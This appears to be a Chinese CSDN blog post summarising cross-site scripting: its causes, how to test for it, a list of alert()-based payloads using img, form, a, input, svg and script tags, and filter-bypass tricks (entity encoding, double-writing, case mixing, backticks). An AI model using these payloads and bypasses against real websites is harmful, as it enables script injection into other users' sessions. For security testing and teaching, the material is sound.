XSS总结

目录

一.形成原因及挖掘思路

部分可用标签及属性

二·过滤绕过(关键字被拦截)

1.编码绕过

2.双写绕过

3.大小写绕过

4.单双引号绕过


一.形成原因及挖掘思路

 跨站脚本漏洞(xss)形成是因为存在可以控制的接口,由于客户端的一切输入都是不可信的!而在某些站点如果存在可控制的接口,并且对于用户的输入不进行过滤或者过滤不严谨,导致该接口在一定程度上,仍然可以视为可控制的接口,就导致该漏洞产生。所以一般挖掘的思路,应该要找到与服务器存在交互的点,可以先通过一些正常的测试,判断是否有对应输入的回显,如果存在,应该去测试过滤,查看是否有未过滤严谨的地方。(白名单也可以测试,尽可能的找全所有的白名单)

部分可用标签及属性

//<img>
<img src="" onerror=alert(1)>
<img src="" onerror=eval("alert('xss')")>


//<form>\<iframe>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

//<a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>


//<input>
<input onfocus="alert('xss');" autofocus>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">

//<svg>
<svg onload=alert(1)>

//<scrip>
<script>alert(1)</script>

二·过滤绕过(关键字被拦截)

1.编码绕过

HTML实体编码绕过

          <a href="javascript:alert(1)">

当script被过滤的时候可以用HTML实体编码绕过

        <a href="java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)">

一个在线编码的站:HTML字符实体转换,网页字符实体编码

2.双写绕过

<script>alert(1)</script>

<sscriptcript>alert(1)</sscriptcript>

3.大小写绕过

<a href="javascript:alert(1)">

<a HrEf="javasCRipT:alert(1)">

4.单双引号绕过

可以用反引号代替单双引号

<input οnclick="javascript:alert(1)">

<input οnclick=``javascript:alert(1)``>

三·小结

  个人感觉,反射型xss,现在各大漏洞平台都觉得很鸡肋了,利用也很麻烦,还要各种钓鱼,实用性不高。但是存储型还是很严重的漏洞,一般在有文件上传的点,也可以构造xss而且一般都是存储型的,一般的web应用,在个人资料处,留言等等地方存在的可能性更高

参考博客:XSS常见触发标签_夜yesir的博客-CSDN博客_xss 触发事件

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值